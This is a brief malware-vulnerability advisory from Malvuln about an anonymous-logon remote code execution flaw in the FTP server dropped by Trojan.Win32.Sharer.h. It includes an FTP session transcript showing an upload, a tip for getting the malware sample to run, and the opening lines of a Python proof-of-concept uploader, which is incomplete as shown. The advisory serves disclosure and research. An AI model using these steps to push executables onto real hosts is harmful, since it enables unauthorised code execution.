Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9f80c3b1e7f5f6f7d0c8aea25fe83551.txt
Vulnerability: Anonymous Logon RCE
Description: Sharer.h by GOLDSWORD - www.daokers.cn can run several types of services, one is an FTP server named "20CN MINIFTP" TCP port 21. The FTP server default configuration is username "anonymous" and no password, any password will allow logon. Attackers may then upload executables using PASV, STOR commands, this can result in remote code execution. Running this malware you may get missing "picclp32.ocx" error just run it again and it should work.
Vuln ID: MVID-2021-0158
Dropped files: FtpServer.exe
TELNET x.x.x.x 21
331 Password required for anonymous
230 User successfully logged in.
215 UNIX emulated by Pablo's FTP Server.
227 Entering Passive Mode (192,168,88,128,202,32).
150 Opening BINARY mode data connection for file transfer.
226 Transfer complete
from socket import *
f = open(DOOM, "rb")
EXE = f.read()
print("Trojan.Win32.Sharer.h / Anonymous Logon RCE")
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